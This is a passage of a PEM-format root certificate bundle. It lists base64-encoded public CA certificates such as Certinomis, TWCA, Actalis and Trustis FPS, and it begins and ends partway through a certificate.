biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- Certinomis - Autorité Racine ============================= -----BEGIN CERTIFICATE----- MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjETMBEGA1UEChMK Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAkBgNVBAMMHUNlcnRpbm9taXMg LSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkG A1UEBhMCRlIxEzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYw JAYDVQQDDB1DZXJ0aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jYF1AMnmHa wE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N8y4oH3DfVS9O7cdxbwly Lu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWerP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw 2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92N jMD2AR5vpTESOH2VwnHu7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9q c1pkIuVC28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6lSTC lrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1Enn1So2+WLhl+HPNb xxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB0iSVL1N6aaLwD4ZFjliCK0wi1F6g 530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql095gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna 4NH4+ej9Uji29YnfAgMBAAGjWzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G A1UdDgQWBBQNjLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ KoZIhvcNAQEFBQADggIBACQ+YAZ+He86PtvqrxyaLAEL9MW12Ukx9F1BjYkMTv9sov3/4gbIOZ/x WqndIlgVqIrTseYyCYIDbNc/CMf4uboAbbnW/FIyXaR/pDGUu7ZMOH8oMDX/nyNTt7buFHAAQCva R6s0fl6nVjBhK4tDrP22iCj1a7Y+YEq6QpA0Z43q619FVDsXrIvkxmUP7tCMXWY5zjKn2BCXwH40 nJ+U8/aGH88bc62UeYdocMMzpXDn2NU4lG9jeeu/Cg4I58UvD0KgKxRA/yHgBcUn4YQRE7rWhh1B CxMjidPJC+iKunqjo3M3NYB9Ergzd0A4wPpeMNLytqOx1qKVl4GbUu1pTP+A5FPbVFsDbVRfsbjv JL1vnxHDx2TCDyhihWZeGnuyt++uNckZM6i4J9szVb9o4XVIRFb7zdNIu0eJOqxp9YDG5ERQL1TE qkPFMTFYvZbF6nVsmnWxTfj3l/+WFvKXTej28xH5On2KOG4Ey+HTRRWqpdEdnV1j6CTmNhTih60b WfVEm/vXd3wfAXBioSAaosUaKPQhA+4u2cGA6rnZgtZbdsLLO7XSAPCjDuGtbkD326C00EauFddE wk01+dIL8hf2rGbVJLJP0RyZwG71fet0BLj5TXcJ17TPBzAJ8bgAVtkXFhYKK4bfjwEZGuW7gmP/ vgt2Fl43N+bYdJeimUV5 -----END CERTIFICATE----- Root CA Generalitat Valenciana ============================== -----BEGIN CERTIFICATE----- MIIGizCCBXOgAwIBAgIEO0XlaDANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJFUzEfMB0GA1UE ChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290 IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwHhcNMDEwNzA2MTYyMjQ3WhcNMjEwNzAxMTUyMjQ3 WjBoMQswCQYDVQQGEwJFUzEfMB0GA1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UE CxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGKqtXETcvIorKA3Qdyu0togu8M1JAJke+WmmmO3I2 F0zo37i7L3bhQEZ0ZQKQUgi0/6iMweDHiVYQOTPvaLRfX9ptI6GJXiKjSgbwJ/BXufjpTjJ3Cj9B ZPPrZe52/lSqfR0grvPXdMIKX/UIKFIIzFVd0g/bmoGlu6GzwZTNVOAydTGRGmKy3nXiz0+J2ZGQ D0EbtFpKd71ng+CT516nDOeB0/RSrFOyA8dEJvt55cs0YFAQexvba9dHq198aMpunUEDEO5rmXte JajCq+TA81yc477OMUxkHl6AovWDfgzWyoxVjr7gvkkHD6MkQXpYHYTqWBLI4bft75PelAgxAgMB AAGjggM7MIIDNzAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnBraS5n dmEuZXMwEgYDVR0TAQH/BAgwBgEB/wIBAjCCAjQGA1UdIASCAiswggInMIICIwYKKwYBBAG/VQIB ADCCAhMwggHoBggrBgEFBQcCAjCCAdoeggHWAEEAdQB0AG8AcgBpAGQAYQBkACAAZABlACAAQwBl AHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAFIAYQDtAHoAIABkAGUAIABsAGEAIABHAGUAbgBlAHIA YQBsAGkAdABhAHQAIABWAGEAbABlAG4AYwBpAGEAbgBhAC4ADQAKAEwAYQAgAEQAZQBjAGwAYQBy AGEAYwBpAPMAbgAgAGQAZQAgAFAAcgDhAGMAdABpAGMAYQBzACAAZABlACAAQwBlAHIAdABpAGYA aQBjAGEAYwBpAPMAbgAgAHEAdQBlACAAcgBpAGcAZQAgAGUAbAAgAGYAdQBuAGMAaQBvAG4AYQBt AGkAZQBuAHQAbwAgAGQAZQAgAGwAYQAgAHAAcgBlAHMAZQBuAHQAZQAgAEEAdQB0AG8AcgBpAGQA YQBkACAAZABlACAAQwBlAHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAHMAZQAgAGUAbgBjAHUAZQBu AHQAcgBhACAAZQBuACAAbABhACAAZABpAHIAZQBjAGMAaQDzAG4AIAB3AGUAYgAgAGgAdAB0AHAA OgAvAC8AdwB3AHcALgBwAGsAaQAuAGcAdgBhAC4AZQBzAC8AYwBwAHMwJQYIKwYBBQUHAgEWGWh0 dHA6Ly93d3cucGtpLmd2YS5lcy9jcHMwHQYDVR0OBBYEFHs100DSHHgZZu90ECjcPk+yeAT8MIGV BgNVHSMEgY0wgYqAFHs100DSHHgZZu90ECjcPk+yeAT8oWykajBoMQswCQYDVQQGEwJFUzEfMB0G A1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5S b290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmGCBDtF5WgwDQYJKoZIhvcNAQEFBQADggEBACRh TvW1yEICKrNcda3FbcrnlD+laJWIwVTAEGmiEi8YPyVQqHxK6sYJ2fR1xkDar1CdPaUWu20xxsdz Ckj+IHLtb8zog2EWRpABlUt9jppSCS/2bxzkoXHPjCpaF3ODR00PNvsETUlR4hTJZGH71BTg9J63 NI8KJr2XXPR5OkowGcytT6CYirQxlyric21+eLj4iIlPsSKRZEv1UN4D2+XFducTZnV+ZfsBn5OH iJ35Rld8TWCvmHMTI6QgkYH60GFmuH3Rr9ZvHmw96RH9qfmCIoaZM3Fa6hlXPZHNqcCjbgcTpsnt +GijnsNacgmHKNHEc8RzGF9QdRYxn7fofMM= -----END CERTIFICATE----- A-Trust-nQual-03 ================ -----BEGIN CERTIFICATE----- MIIDzzCCAregAwIBAgIDAWweMA0GCSqGSIb3DQEBBQUAMIGNMQswCQYDVQQGEwJBVDFIMEYGA1UE Cgw/QS1UcnVzdCBHZXMuIGYuIFNpY2hlcmhlaXRzc3lzdGVtZSBpbSBlbGVrdHIuIERhdGVudmVy a2VociBHbWJIMRkwFwYDVQQLDBBBLVRydXN0LW5RdWFsLTAzMRkwFwYDVQQDDBBBLVRydXN0LW5R dWFsLTAzMB4XDTA1MDgxNzIyMDAwMFoXDTE1MDgxNzIyMDAwMFowgY0xCzAJBgNVBAYTAkFUMUgw RgYDVQQKDD9BLVRydXN0IEdlcy4gZi4gU2ljaGVyaGVpdHNzeXN0ZW1lIGltIGVsZWt0ci4gRGF0 ZW52ZXJrZWhyIEdtYkgxGTAXBgNVBAsMEEEtVHJ1c3QtblF1YWwtMDMxGTAXBgNVBAMMEEEtVHJ1 c3QtblF1YWwtMDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtPWFuA/OQO8BBC4SA zewqo51ru27CQoT3URThoKgtUaNR8t4j8DRE/5TrzAUjlUC5B3ilJfYKvUWG6Nm9wASOhURh73+n yfrBJcyFLGM/BWBzSQXgYHiVEEvc+RFZznF/QJuKqiTfC0Li21a8StKlDJu3Qz7dg9MmEALP6iPE SU7l0+m0iKsMrmKS1GWH2WrX9IWf5DMiJaXlyDO6w8dB3F/GaswADm0yqLaHNgBid5seHzTLkDx4 iHQF63n1k3Flyp3HaxgtPVxO59X4PzF9j4fsCiIvI+n+u33J4PTs63zEsMMtYrWacdaxaujs2e3V cuy+VwHOBVWf3tFgiBCzAgMBAAGjNjA0MA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0OBAoECERqlWdV eRFPMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAVdRU0VlIXLOThaq/Yy/kgM40 ozRiPvbY7meIMQQDbwvUB/tOdQ/TLtPAF8fGKOwGDREkDg6lXb+MshOWcdzUzg4NCmgybLlBMRmr sQd7TZjTXLDR8KdCoLXEjq/+8T/0709GAHbrAvv5ndJAlseIOrifEXnzgGWovR/TeIGgUUw3tKZd JXDRZslo+S4RFGjxVJgIrCaSD96JntT6s3kr0qN51OyLrIdTaEJMUVF0HhsnLuP1Hyl0Te2v9+GS mYHovjrHF1D2t8b8m7CKa9aIA5GPBnc6hQLdmNVDeD/GMBWsm2vLV7eJUYs66MmEDNuxUCAKGkq6 ahq97BvIxYSazQ== -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- EC-ACC ====== -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7 MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4 HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw 0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0 Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2 E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D 5EI= -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Trustis FPS Root CA =================== -----BEGIN CERTIFICATE----- MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290 IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC 